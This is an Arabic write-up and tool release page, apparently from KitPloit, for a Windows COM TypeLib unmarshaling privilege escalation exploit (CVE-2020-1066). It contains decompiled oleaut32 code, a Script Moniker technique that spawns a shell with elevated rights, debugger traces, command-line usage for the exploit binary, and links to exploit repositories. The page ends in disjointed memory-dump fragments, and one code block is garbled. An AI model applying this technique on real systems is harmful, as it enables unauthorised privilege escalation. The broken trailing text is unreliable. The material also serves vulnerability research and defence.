الجناح (Apartment) الذي توجد فيه مكوّنات الخادم لمكوّن Com يحتفظ بقائمة من كائنات الـ stub لواجهات Com، ويحتفظ كل كائن stub بمرجع إلى كائن Com. وبناءً على معلومات iid الخاصة بواجهة كائن Com هذا، يُبحث في السجل ضمن HKEY_CLASSES_ROOT/Interface عن المفتاح الفرعي iid، ثم تُقرأ القيمة الافتراضية تحت المفتاح الفرعي ProxyStubClsid32، وهذه القيمة الافتراضية هي CLSID لكائن stub. بعد ذلك، يستدعي Com الدالة CoGetClassObject وفقاً لـ CLSID لطلب واجهة مصنع فئات الوكلاء، ثم يستدعي IPSFactoryBuffer->CreateStub لإنشاء كائن واجهة stub. وبالمقابل، يحتفظ الجناح (Apartment) في جهة العميل لمكوّن Com بقائمة من كائنات الوكلاء (proxy)، وعند تنفيذ Unmarshal على OBJREF يُبحث عن [oxid,oid,ipid] المطابق لكائن الـ stub ويُستدعى IPSFactoryBuffer->CreateProxy لإنشاء الوكيل المقابل. ويُبنى المكدس الفعلي من خلال تصريحات الدوال المعرَّفة في ملف IDL للواجهة، ثم تُستدعى دوال الواجهة الحقيقية ويتم التواصل مع الـ stub عبر قناة IRpcChannel المنفَّذة داخل RPCRT4.dll، ما يحقق استدعاء الإجراء عن بُعد (RPC) لمكوّن Com.
![اضغط لعرض الصورة بحجم أكبر](https://assets.kitploit.com/production/public/readmes/23739/570838903b645b17d1b7e52c7e550ac8958e8cd0c544cb16bc4a976a8669e2c5.png)
يكون إنشاء الوكيل عبر IPSFactoryBuffer->CreateProxy مغلَّفاً افتراضياً في تنفيذ الدالة CreateProxyFromTypeInfo، وترتبط عملية استدعاء هذه الدالة بـ TypeInfo داخل TypeLib؛ والسبب هو أن TypeInfo في TypeLib يعرّف معلومات النوع ذات الصلة بالواجهة. لذلك، تستلزم هذه العملية فعلياً استدعاء الدالة LoadTypeLib لتحميل TypeLib وما يحتويه من TypeInfo، وهي النقطة الأكثر أهمية لاستغلال الثغرة. ومن خلال التحليل العكسي لعملية استدعاء الدالة LoadTypeLib، تبيّن أن تنفيذها يتم عبر التعامل مع السجل. فمعلومات كل واجهة موجودة في السجل ضمن HKEY_CLASSES_ROOT\Interface\[接口IID]، حيث يُقابل المفتاح الفرعي TypeLib قيمة TypeLib_GUID الخاصة بالواجهة، ويقع TypeLib المقابل ضمن HKEY_CLASSES_ROOT\TypeLib\\[TypeLib_GUID]، وقيمة المفتاح الفرعي للإصدار المناظر هي مسار TypeLib. وبما أن الواجهة الواحدة قد تحتوي على عدة مفاتيح فرعية TypeLib لإصدارات مختلفة، بينما تقوم عملية إلغاء التسلسل افتراضياً بتحميل واحد منها فقط، فقد تمكنت من خلال التحليل العكسي لإعادة بناء التنفيذ داخل oleaut32.dll من تحقيق مطابقة تلقائية لملف TypeLib المناظر واستغلاله في أداة استغلال الثغرات. وفيما يلي نتائج التحليل العكسي المحددة:```
wchar_t *__stdcall GetTypeInfoOfIIDFwd(GUID *rguid, struct ITypeInfo **a2, int a3)
{
  wchar_t *result; // eax
  unsigned __int16 versionLookUp; // bx
  unsigned __int16 versionLookUpNext; // ax
  DWORD v6; // ebx
  LSTATUS i; // eax
  HRESULT v8; // eax
  wchar_t *v9; // ebx
  HRESULT v10; // eax
  int foundDotted; // [esp+8h] [ebp-31Ch]
  GUID *v12; // [esp+Ch] [ebp-318h]
  struct ITypeInfo **v13; // [esp+10h] [ebp-314h]
  struct ITypeInfo *v14; // [esp+14h] [ebp-310h]
  wchar_t *EndPtr; // [esp+18h] [ebp-30Ch]
  LONG cbData; // [esp+1Ch] [ebp-308h]
  ITypeLib *pptlib; // [esp+20h] [ebp-304h]
  unsigned __int16 SubVersion[2]; // [esp+24h] [ebp-300h]
  DWORD dwIndex; // [esp+28h] [ebp-2FCh]
  unsigned __int16 Version[2]; // [esp+2Ch] [ebp-2F8h]
  HKEY v21; // [esp+30h] [ebp-2F4h]
  HKEY v22; // [esp+34h] [ebp-2F0h]
  HKEY phkResult; // [esp+38h] [ebp-2ECh]
  HKEY hKey; // [esp+3Ch] [ebp-2E8h]
  CLSID pclsid; // [esp+40h] [ebp-2E4h]
  WCHAR Data; // [esp+50h] [ebp-2D4h]
  wchar_t Dst; // [esp+258h] [ebp-CCh]
  unsigned __int16 tempData; // [esp+268h] [ebp-BCh]
  OLECHAR sz; // [esp+26Ch] [ebp-B8h]
  wchar_t SubKey; // [esp+2E8h] [ebp-3Ch]
  WCHAR Name; // [esp+304h] [ebp-20h]
  v12 = rguid;
  v13 = a2;
  if ( a3 >= 16 )
    return (wchar_t *)-2147319779;
  result = (wchar_t *)MapIIDToFusionTypeInfo(rguid, a2);
  if ( (signed int)result < 0 )
    return result;
  if ( result != (wchar_t *)1 )
    goto LABEL_57;
  hKey = (HKEY)-1;
  phkResult = (HKEY)-1;
  v22 = (HKEY)-1;
  v21 = (HKEY)-1;
  pptlib = 0;
  //先找Interface
  wcscpy_s(&Dst, 0x47u, L"Interface\\");
  StringFromGUID2(rguid, &sz, 39);
  //如果存在Forward
  wcscat_s(&Dst, 0x47u, L"\\Forward");
  cbData = 520;
  if ( QueryClassesRootValueW(&Dst, &Data, &cbData)
    || CLSIDFromString(&Data, &pclsid)
    || GetTypeInfoOfIIDFwd(&pclsid, a2, a3 + 1) )
  {
    *(_DWORD *)SubVersion = 0;
    *(_DWORD *)Version = 0;
    //找里面的TypeLib
    wcscpy_s(&Dst, 0x47u, L"TypeLib\\");
    result = SzLibIdOfIID(rguid, &tempData, 40, Version, SubVersion, &foundDotted);
    if ( (signed int)result >= 0 )
    {
    //打开ClassesRoot根节点
      if ( OpenClassesRootKeyW(&Dst, &hKey) )
      {
        result = (wchar_t *)-2147319779;
      }
      else
      {
        SubKey = 0;
        //查找子健,枚举版本号
        for ( dwIndex = 0; !RegEnumKeyW(hKey, dwIndex, &Name, 0xDu); ++dwIndex )
        {
          versionLookUp = _wcstoul(&Name, &EndPtr, 16);
          if ( *EndPtr == '.' )
          {
            if ( (versionLookUpNext = _wcstoul(EndPtr + 1, 0, 16), !foundDotted) && versionLookUp > Version[0]
              || versionLookUp == Version[0] && versionLookUpNext >= SubVersion[0] )
            {
              *(_DWORD *)SubVersion = versionLookUpNext;
              *(_DWORD *)Version = versionLookUp;
              wcscpy_s(&SubKey, 0xDu, &Name);
            }
          }
        }
        if ( !RegOpenKeyW(hKey, &SubKey, &phkResult) )
        {
          if ( phkResult == hKey )
            hKey = (HKEY)-1;
          v6 = 0;
          //继续枚举子健
          for ( i = RegEnumKeyW(phkResult, 0, &Dst, 0x10u); !i; i = RegEnumKeyW(phkResult, v6, &Dst, 0x10u) )
          {
            if ( FIsLCID(&Dst) )
            {
              if ( RegOpenKeyW(phkResult, &Dst, &v22)
                || RegOpenKeyW(v22, L"win32", &v21) && (RegEnumKeyW(v22, 0, &Dst, 6u) || RegOpenKeyW(v22, &Dst, &v21)) )
              {
                break;
              }
              cbData = 520;
              if ( RegQueryValueW(v21, 0, &Data, &cbData) )
                break;
                //找到后就加载
              v8 = LoadTypeLib(&Data, &pptlib);
              v9 = (wchar_t *)v8;
              if ( !v8 || v8 >= 0 )
              {
                //根据GUID查找TypeInfo
                v10 = pptlib->lpVtbl->GetTypeInfoOfGuid(pptlib, v12, &v14);
                v9 = (wchar_t *)v10;
                if ( !v10 || v10 >= 0 )
                {
                  *v13 = v14;
                  v9 = 0;
                }
              }
              goto LABEL_26;
            }
            ++v6;
          }
        }
....       

يمكن أن يكون كل TypeLib بنية TypeLib متداخلة، كما أن تحميل TypeLib المتداخل سيستدعي أيضًا LoadTypeLibEx بشكل تكراري. للحصول على طريقة البناء المحددة، ارجع إلى كود أداة الاستغلال وواجهة برمجة تطبيقات Microsoft الرسمية. بهذه الطريقة، عند تحميل TypeLib بشكل تكراري، يمكن تحديد مسار ملف TypeLib غير موجود، ليتم تحليله كـ Moniker عبر DisplayName الخاص بـ Moniker. هنا يتم استخدام Script Moniker، أي ملف السكربت script:xxx.sct، وفي النهاية يتم تحليل Script Moniker مما يؤدي إلى تشغيل BindToObject، لبدء Shell بصلاحيات المستدعي عبر إلغاء تسلسل Unmarshal، والمبدأ كالتالي:``` HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib) {

... ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFile, syskind); if ( ptlib ) goto LABEL_31; //Typelib文件路径不存在时 if ( FindTypeLib(szFileNameRef, (LONG)&szFullPath, v5) ) { if ( CreateBindCtx(1u, &ppbc) ) goto LABEL_67; v8 = SysAllocString(szFileNameRef); if ( v8 ) { //可以解析成解析Script Moniker stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk); SysFreeString(v8); if ( !stat ) { //启动shell stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, (void **)&ptlib); ppmk->lpVtbl->Release(ppmk); } } ...

root@kitploit:~
عرض الصورة الكبيرة
بالمقارنة مع Process Monitor، فيما يلي نتيجة تصحيح الأخطاء للعملية التي أنشأها Script Moniker في النهاية```
Breakpoint 0 hit
kernel32!CreateProcessW:
0033:00000000`77741bb0 4883ec68        sub     rsp,68h
//启动的就是exp
0: kd> dc @rdx
00000000`0378b9f8  00430022 002f003a 006c0064 0074002f  ".C.:./.d.l./.t.
00000000`0378ba08  00730065 002f0074 006b006f 004d002f  e.s.t./.o.k./.M.
00000000`0378ba18  00430079 006d006f 006f0045 002e0070  y.C.o.m.E.o.p...
00000000`0378ba28  00780065 00220065 00310020 00000000  e.x.e.". .1.....
00000000`0378ba38  00000000 00000000 00000000 00000000  ................
00000000`0378ba48  00000000 00000000 00000000 00000000  ................
0: kd> kv
 # Child-SP          RetAddr           : Args to Child                                                           : Call Site
00 00000000`0288c3e8 000007fe`ec9ec0dd : 00000000`00000000 000007fe`ec8e1982 00001e9f`9ac2b3f6 00000000`00000000 : kernel32!CreateProcessW
01 00000000`0288c3f0 000007fe`ec9ec55f : 00000000`00000000 00000000`0288c5c0 00000000`0288c788 00000000`0288c5c0 : wshom!CWshShell::CreateShortcut+0x30d
02 00000000`0288c4e0 000007fe`feb616d0 : 00000000`0288c7a0 00000000`002fd46c 00000000`0378b9f8 00000000`00000000 : wshom!CWshShell::Exec+0x2b3
03 00000000`0288c5a0 000007fe`feb624d2 : 00000000`00000104 000007fe`fec008e0 00000000`00000fff 000007fe`feb623b8 : OLEAUT32!DispCallFuncAmd64+0x60
04 00000000`0288c600 000007fe`feb61de1 : 00000000`0366c2b8 00000000`037cd3f8 00000000`037806c0 00000000`0288c768 : OLEAUT32!DispCallFunc+0x268
05 00000000`0288c6b0 000007fe`ec9e12d5 : 00000000`002f60d0 000007fe`feb6150c 00000000`03796ee0 00000000`00000002 : OLEAUT32!CTypeInfo2::Invoke+0x39a
06 00000000`0288ca20 000007fe`ec9e121d : 00000000`00000bc4 000007fe`ebf5d79e 00000000`00000000 000007fe`ff8724c8 : wshom!CDispatch::Invoke+0xad
07 00000000`0288ca80 000007fe`ebf7ad24 : 00000000`00001f80 00000000`00000bc4 00000000`0288e560 00000000`002ffbc0 : wshom!CWshExec::Invoke+0x4d
08 00000000`0288cae0 000007fe`ebf79dc7 : 00000000`00000000 00000000`002ffbc0 00000000`00000000 00000000`001758b0 : jscript!CScriptRuntime::Run+0x2e1d
09 00000000`0288e4f0 000007fe`ebf79c09 : 00000000`00000000 00000000`0017c6b0 00000000`00000000 00000000`00000000 : jscript!ScrFncObj::CallWithFrameOnStack+0x187
0a 00000000`0288e700 000007fe`ebf79a25 : 00000000`001758b0 00000000`00000000 00000000`001758b0 00000000`00000000 : jscript!ScrFncObj::Call+0xb5
0b 00000000`0288e7a0 000007fe`ebf7903b : 00000000`0008001f 00000000`001758b0 00000000`00000000 00000000`002f6660 : jscript!CSession::Execute+0x1a5
0c 00000000`0288e890 000007fe`ebf79386 : 00000000`00000000 00000000`001758b0 00000000`00000000 ffffffff`ffffffff : jscript!COleScript::ExecutePendingScripts+0x223
0d 00000000`0288e960 000007fe`eca17186 : 00000000`00000000 000007fe`eca17f9d 00000000`002fc410 01d61e99`4640f6a8 : jscript!COleScript::SetScriptState+0x6e
0e 00000000`0288e990 000007fe`eca17004 : 00000000`002fc400 00000000`002fc400 00000000`002f3ce0 00000000`002f3ce0 : scrobj!ComScriptlet::Inner::StartEngines+0xcf
0f 00000000`0288e9f0 000007fe`eca16dc1 : 00000000`002c95e0 00000000`002fc400 00000000`002f3ce0 000007fe`ff687a01 : scrobj!ComScriptlet::Inner::Init+0x27a
10 00000000`0288ea90 000007fe`eca16caa : 00000000`002f3ce0 00000000`00000000 00000000`00000000 00000000`00000000 : scrobj!ComScriptlet::New+0xca
11 00000000`0288eac0 000007fe`eca220f3 : 00000000`002f62a0 00000000`00249618 00000000`002ce680 00000000`037143d8 : scrobj!ComScriptletConstructor::Create+0x68
12 00000000`0288eb10 000007fe`ff6678d6 : 00000000`03798760 00000000`03718760 00000000`037da9c0 000007fe`fee9b065 : scrobj!ComScriptletMoniker::BindToObject+0x7f
13 00000000`0288eb60 000007fe`ff5669ba : 000007fe`ff68be00 000007fe`ff6608bd 00000000`00000030 000007fe`ff68be30 : ole32!IMoniker_BindToObject_Stub+0x16 [d:\w7rtm\com\ole32\oleprx32\proxy\call_as.c @ 2264] 
14 00000000`0288eba0 000007fe`fee9bc86 : 00000000`00000005 00000000`03718760 000007fe`ff687a18 00000000`037da9c0 : ole32!IMoniker_RemoteBindToObject_Thunk+0x2a [o:\w7rtm.obj.amd64fre\com\ole32\oleprx32\proxy\daytona\objfre\amd64\mega_p.c @ 487] 
15 00000000`0288ebe0 000007fe`fedf48d6 : 00000000`0288f248 000007fe`ff66376f 00000000`03715700 00000000`0379a2a0 : RPCRT4!Ndr64AsyncServerCallAll+0x1806
16 00000000`0288f1a0 000007fe`ff660883 : 00000000`00000000 00000000`00000000 000007fe`ff695b80 00000000`03715ea0 : RPCRT4!NdrStubCall3+0xc6
17 00000000`0288f200 000007fe`ff660ccd : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586] 
18 00000000`0288f230 000007fe`ff660c43 : 00000000`037da9c0 00000000`0579cb14 00000000`036ce730 000007fe`eca36a40 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187] 
19 00000000`0288f2a0 000007fe`ff51a4f0 : 00000000`037da9c0 00000000`0361e890 00000000`037da9c0 00000000`00000178 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396] 
1a 00000000`0288f350 000007fe`ff52d551 : 00000000`00000000 00000000`00000001 00000000`0376e9e0 00000000`03715ea0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262] 
1b 00000000`0288f4e0 000007fe`ff66347e : 00000000`0361e890 00000000`00000000 00000000`03718760 00000000`00000000 : ole32!STAInvoke+0x91 [d:\w7rtm\com\ole32\com\dcomrem\callctrl.cxx @ 1923] 
1c 00000000`0288f530 000007fe`ff66122b : 00000000`d0908070 00000000`0361e890 00000000`01d93e30 00000000`03718760 : ole32!AppInvoke+0x1aa [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1081] 
1d 00000000`0288f5a0 000007fe`ff663542 : 00000000`037da930 00000000`00000400 00000000`00000000 00000000`01d98a30 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727] 
1e 00000000`0288f730 000007fe`ff52d42d : 00000000`03715ea0 00000000`00000000 00000000`0378f190 00000000`037da930 : ole32!ComInvoke+0xae [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1469] 
1f 00000000`0288f760 000007fe`ff52d1d6 : 00000000`0361e890 00000000`037da938 00000000`00000400 00000000`00000000 : ole32!ThreadDispatch+0x29 [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 298] 
20 00000000`0288f790 00000000`77639bd1 : 00000000`00000000 00000000`00000000 00000000`00000000 b2698378`e8b9daaa : ole32!ThreadWndProc+0xaa [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 654] 
21 00000000`0288f810 00000000`776398da : 00000000`0288f970 000007fe`ff52d12c 000007fe`ff6c5780 00000000`006c4200 : USER32!UserCallWinProcCheckWow+0x1ad
22 00000000`0288f8d0 000007fe`ff52d0ab : 00000000`000b0098 00000000`000b0098 000007fe`ff52d12c 00000000`00000000 : USER32!DispatchMessageWorker+0x3b5
23 00000000`0288f950 000007fe`ff653e57 : 00000000`0361e890 00000000`00000000 00000000`0361e890 000007fe`ff513032 : ole32!CDllHost::STAWorkerLoop+0x68 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 957] 
24 00000000`0288f9b0 000007fe`ff500106 : 00000000`0361e890 00000000`036d6510 00000000`00000000 00000000`00000000 : ole32!CDllHost::WorkerThread+0xd7 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 834] 
25 00000000`0288f9f0 000007fe`ff500182 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThread::WorkerLoop+0x1e [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 257] 
26 00000000`0288fa30 00000000`7773652d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThreadCache::RpcWorkerThreadEntry+0x1a [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 63] 
27 00000000`0288fa60 00000000`7786c521 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd
28 00000000`0288fa90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21

طريقة اختبار أداة استغلال الثغرات الخاصة بي هي كما يلي، وتتطلب التشغيل بصلاحيات المسؤول``` 1.只适用Windows7系统直接运行,无参数,替换默认Typelib

MyComEop.exe

2.替换指定接口TypeLIb文件路径的Com组件TypeLIb,比如C:\xxx.dll

MyComEop.exe [u] [TypeLib_Path]

3.替换指定接口IID的Com组件TypeLIb,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}

MyComEop.exe [u] [IID_Interface]

4.高级模式接口IID=[IID_Interface],接口名称=[InterfaceName],接口的TypeLib_GUID=[TypeLib_GUID_Interface],接口TypeLIb文件路径=[TypeLib_Path]

MyComEop.exe [u] [IID_Interface] [InterfaceName] [TypeLib_GUID_Interface] [TypeLib_Path] [Disable_Redirection]

5.不替换文件,仅测试指定接口IID的Com组件TypeLIb利用,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}

MyComEop.exe [t] [IID_Interface]

root@kitploit:~
#### نتيجة التشغيل ####

فيما يلي تأثير تشغيل الـ exp الخاص بالكاتب، كما هو موضح:
![انقر لعرض الصورة الكبيرة](https://assets.kitploit.com/production/public/readmes/23739/be07467c8b45b6347595707a7fcc6ff552d13a886a6d0bc20b7477df5434a602.gif)

#### المشاريع ذات الصلة ####
[CVE-2020-0787-EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)

[مشروع تفكيك خدمة Windows CardSpace](https://gitee.com/cbwang505/Windows_CardSpace_Service)

[مشروع الهندسة العكسية الخاص بي لـ ole32](https://gitee.com/cbwang505/MyOle32ReverseEngineering)

[أداة استغلال الثغرات الخاصة بي](https://gitee.com/cbwang505/TypeLibUnmarshaler)

[أداة الروابط الرمزية](https://github.com/googleprojectzero/symboliclink-testing-tools)

[CVE-2020-1066-EXP](https://gitee.com/cbwang505/CVE-2020-1066-EXP)

#### المراجع ذات الصلة ####

[CVE-2020-1066](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1066)

#### المساهمة ####

الكاتب من شركة ZheJiang Guoli Security Technology، البريد الإلكتروني [email protected]
تنزيل الأداة
02c8e100 006c0074 00000062 001e6e38 00000000 t.l.b...8n...... 00000000
0371f310 00000000
0378aaf8 00000000
0391dd00 000007fe
0391df50 00000000
0378aaf8 00000000
0391dd90 000007fe
03715ea0 00000000
0391e618 0000113b
0391dde0 000007fe
00000000 00000000
00000000 00000000
0391de80 000007fe
0378aaf8 00000000
00000001 00000000
0391deb0 000007fe
0378aaf8 00000000
0365efb0 00000018
0391df30 000007fe
037daf90 000007fe
001cf840 000007fe
0391dfd0 000007fe
00000002 00000000
0391db00 00000000
0391e0b0 000007fe
0363fdd4 00000000
00000001 00000000
0391e120 000007fe
00000000 00000000
0391e618 00000000
0391e190 000007fe
0391e340 000007fe
0391e4f0 00000000
0391e1d0 000007fe
00000020 000007fe
0391e618 000007fe
0391e240 000007fe
0391e9b0 000007fe
0391e9b0 000007fe
0391e860 000007fe
00000000 00000000
0391ec60 00000000
0391e8c0 000007fe
00000000 00000000
fb63a201 00000000
0391e8f0 000007fe
0023e760 00000000
036ce6a0 000007fe
0391e960 000007fe
0023e760 00000000
0023e760 00000000
0391ea10 000007fe
00000000 00000018
037958a0 00000000
0391eba0 000007fe
d0908070 00000000
01d93e30 00000000
0391ec10 000007fe
037daf90 00000000
03715ff0 00000000
0391eda0 000007fe
ff6c9930 00000000
037241b0 000007fe
0391ee40 000007fe
ff670ab0 00000000
0391f0b0 000007fe
0391ee70 000007fe
0378a970 00000000
0391f194 00000000
0391ef90 000007fe
00000000 00000000
0391f0b0 00000000
0391efd0 000007fe
0378a970 00000000
0378a970 000007fe
0391f050 00000000
00000000 00000000
00000000 00000000
feb6a550 fff3 push rbx 1: kd> dc @rcx L50 00000000
02c8dd80 005c003a 006c0064 0074005c 00730065 :.\.d.l.\.t.e.s. 00000000
02c8dda0 0073002e 00740063 01e50000 00000000 ..s.c.t......... 00000000